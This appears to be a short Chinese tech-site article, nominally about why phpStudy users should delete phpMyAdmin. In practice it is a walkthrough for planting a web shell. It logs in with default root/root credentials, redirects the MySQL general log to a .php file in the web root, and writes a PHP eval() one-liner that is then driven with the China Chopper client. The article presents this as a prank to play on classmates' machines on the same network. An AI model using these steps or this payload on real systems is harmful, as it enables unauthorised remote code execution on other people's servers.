phpstudy不删除phpMyAdmin有什么影响

发布时间:2021-09-14 11:25 来源:亿速云 阅读:0 作者:chen 栏目: 网络安全

本篇内容主要讲解“phpstudy不删除phpMyAdmin有什么影响”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“phpstudy不删除phpMyAdmin有什么影响”吧!

发现一个phpstudy比较好玩的漏洞,在机房可以捉弄一下小伙伴

Win7虚拟机:192.168.195.132

前提条件

与目标主机出在同一内网

使用phpstudy且没有删除phpMyAdmin文件
phpstudy装完之后会在根目录创建一个phpMyAdmin文件
物理机访问一下phpMyAdmin文件
用默认账号密码root-root登进去
变量栏处找到general log,将它改成ON
general log file的地址改成E:\WWW\shell.php
SQL栏输入查询语句插入一句话木马

select '<?php eval($_REQUEST[x]);?>'

成功之后就可以打开菜刀连接了

免责声明:本站发布的内容(图片、视频和文字)以原创、来自互联网转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系QQ:712375056 进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。